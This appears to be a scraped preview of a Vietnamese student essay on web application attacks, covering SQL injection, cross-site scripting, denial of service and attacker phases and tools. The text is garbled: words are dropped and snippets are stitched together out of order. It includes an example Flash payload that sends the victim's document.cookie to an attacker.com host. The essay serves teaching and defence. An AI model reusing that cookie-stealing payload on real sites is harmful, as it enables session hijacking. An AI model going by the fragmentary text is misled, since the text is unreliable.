jobs, infect startup files, plant remote control services, install monitoring mechanisms, replace apps with Trojan Công cụ: members of wheel, administrators cron, At rc, Startup folder, registrykeys, netcat, remote.exe, VNC, BO2K, keystroke loggers,… Tóm lại, việc thu thập thông tin vô quan trọng cho việc công vào hệ thống máy đích Cho dù hacker công theo phương diện phần cứng hay qua ứng dụng việc thu thập cần thiết Vấn đề việc thực theo bước Có thể bước nêu hacker 36 36 không cần phải qua theo thứ tự hay qua hết, việc nắm rõ thông tin máy đích điều kiện tiên để dẫn đến thành công việc công Tùy vào nội dung thông tin hacker thu thập mà hacker định công theo kĩ thuật Do đó, việc bảo mật cho hệ thống cần đòi hỏi kết hợp không riêng nhà quản trị hệ thống mà nhà thiết kế ứng dụng hợp tác khách hàng sử dụng ứng dụng web 37 37 KẾT LUẬN o Các vấn đề đạt Theo yêu cầu đặt tiểu luận đạt nội dung sau: Tìm hiểu kĩ thuật công ứng dụng Web bao gồm kĩ thuật • Chèn mã lệnh thực thi trình khách Cross-site Scripting • Chèn câu truy vấn SQL Tấn công SQL Injection nâng cao • Tấn công Local Acttack • Từ chối dịch vụ Các biện pháp bảo mật từ kết hợp nhà quản trị mạng, nhà thiết kế ứng dụng Web người dùng • Kiểm tra trang Web có khả bị công kĩ thuật chèn câu lệnh SQL, thay đổi tham số hay không • Có thể phòng chống lỗi công thông dụng nay, vấn đề tìm hiểu o Hạn chế Trong trình làm có nhiều tài liệu tìm kiếm có mục đích giống song lại có phương pháp khác hoàn toàn.Tôi cố gắng tìm hiểu thêm chúng không khỏi có nhiều sai sót o Hướng phát triển đề tài Trong phạm vi tiểu luận, đạt yêu cầu đặt Bản thân nhóm xin đề xuất hướng phát triển đồ án mở rộng cố gắng phát triển thêm nội dung sau: • Tìm hiểu thêm kĩ thuật công để đưa phương pháp bảo mật ứng dụng Web mức độ sâu • Tìm hiểu vấn đề bảo mật sâu hơn, không dừng mức độ ứng dụng Web mà phát triển vần đề bảo mật hệ thống mạng dịch vụ Khai triển chương trình phát lỗ hổng tốt hơn, nhiều phương diện kĩ thuật 38 38 [...]... III.1 Tấn công máy chủ Web Các tấn công này dựa trên lỗ hổng của hệ điều hành máy chủ chứa ứng dụng web, gồm: • Tấn công unicode,printer ISAPI trên máy chủ Microsoft IIS • Tấn công tràn bộ nhớ đệm trên máy chủ Apache III.2 Tấn công các lỗ hổng liên quan đến vấn đề quản trị Web Các tấn công này khai thác các điểm yếu do lỗi người quản trị web, cấu hình trang wed thiếu an toàn gồm: • Kiểm tra tập tin... thực thi) Tóm lại, tấn công vượt qua kiểm tra đăng nhập là dạng tấn công cơ bản nhất giúp Hacker vượt qua các trang đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web IV.2.1.2 Dạng tấn công sử dụng câu lệnh SELECT Dạng tấn công này phức tạp hơn Để thực hiện được kiểu tấn công này, kẻ tấn công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi... lớn đó và dẫn đến hệ thống bị phá vỡ * TẤN CÔNG VÀO RAM: Tấn công Dos chiếm 1 khoảng lớn của RAM cũng có thể gây ra các vấn đề phá hủy hệ thống Kiểu tấn công BufferOverflow là một ví dụ cho cách phá hủy này * TẤN CÔNG VÀO DISKS: Một kiểu tấn công cổ điển là làm đầy đĩa cứng Đĩa cứng có thể bị tràn và không thể được sử dụng nữa IV.3.3 Một số dang tấn công thường gặp IV.3.3.1 Lợi dụng TCP thực hiện phương. .. trang web chứa tập tin flash đó Như vậy là trang web đó đã bị tấn công, bằng cách chèn một đoạn JavaScript vào ứng dụng Web thông qua tập tin flash Một ví dụ khác rõ hơn về cách tấn công này là: Đây là đoạn lệnh trong tập tin flash và sẽ được thi hành khi tập tin flash được đọc: getURL(“javascript:location(‘http://www.attacker.com? newcookie=’+document.cookie)”) Như vậy là khi người dùng xem trang web. .. đó giành quyền quản trị ứng dụng IV.3 Tấn công từ chối dịch vụ (Deny of service - DoS) IV.3.1 Khái niệm Tấn công kiểu DoS là kiểu tấn công làm cho các dịch vụ mạng bị tê liệt, không còn khả năng đáp ứng được yêu cầu nữa Loại tấn công này ảnh hưởng đến nhiều hệ thống, rất dễ thực hiện và lại rất khó bảo vệ hệ thống khỏi kiểu tấn công DoS Thông thường, kiểu tấn công DoS dựa trên những giao thức (protocol)... Chương III: Phân loại các tấn công web và ứng dụng Ứng dụng thường được triển khai bên trong hệ thống bảo vệ chu vi mạng với các thiết bị bảo vệ truyền thống như tường lửa,hệ thống phát hiện và phòng chống truy nhập trái phép (IDS/IPS) Các tấn công wed ở tầng ứng dụng khai thác các điểm yếu do sự bất cẩn và sai sót của người lập trình ứng dụng Dựa trên kiến trúc các ứng dụng wed, các tấn công ứng dụng wed... SQL Injection 14 Chương IV Một số loại tấn công web và ứng dụng IV.1 Tấn công SQL Injection IV.1.1 Khái niệm SQL Injection SQL injection là một kĩ thuật cho phép những kẻ tấn công ( Hacker) lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu để "tiêm vào" và thi hành các câu lệnh SQL bất hợp pháp (không được người phát triển ứng... đó, thì họ sẽ tìm cách kiểm soát toàn bộ hệ thống Hacker sẽ tìm cách crack password của admin, hoặc sử dụng lỗ hổng để leo thang đặc quyền John và Riper là hai chương trình crack password rất hay được sử dụng Công cụ: L0phtcrack, Ic_messages, getadmin, sechole • Bước 6: Pilfering (Dùng khi các file chứa pass bị sơ hở): Thêm một lần nữa các máy tìm kiếm lại đựơc sử dụng để tìm các phương pháp truy cập... được nhập vào trên ứng dụng Web IV.2.1 Các dạng tấn công thường gặp IV.2.1.1 Dạng tấn công vượt qua kiểm tra đăng nhập Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web. Xét một ví dụ điển hình, thông thường để cho phép người dùng truy cập vào các trang web được bảo mật, hệ thống thường xây dựng trang... IV.3.3.2 Tấn công vào băng thông IV.3.2.2.1 Kiểu tấn công thứ 1 Hacker hoàn toàn có khả năng làm ngập hệ thống vì băng thông của hacker lớn hơn băng thông của máy đích Kiểu tấn công này không bị hạn chế bởi tốc độ truyền mạng Ví dụ 9.III.3.1-1: Hacker có một đường truyền tốc độ cao T1 ( 1.544Mbps ) hay lớn hơn có thể dễ dàng phá vỡ một hệ thống có đường truyền 56Kbps IV.3.2.2.1 Kiểu tấn công thứ 2 Kiểu tấn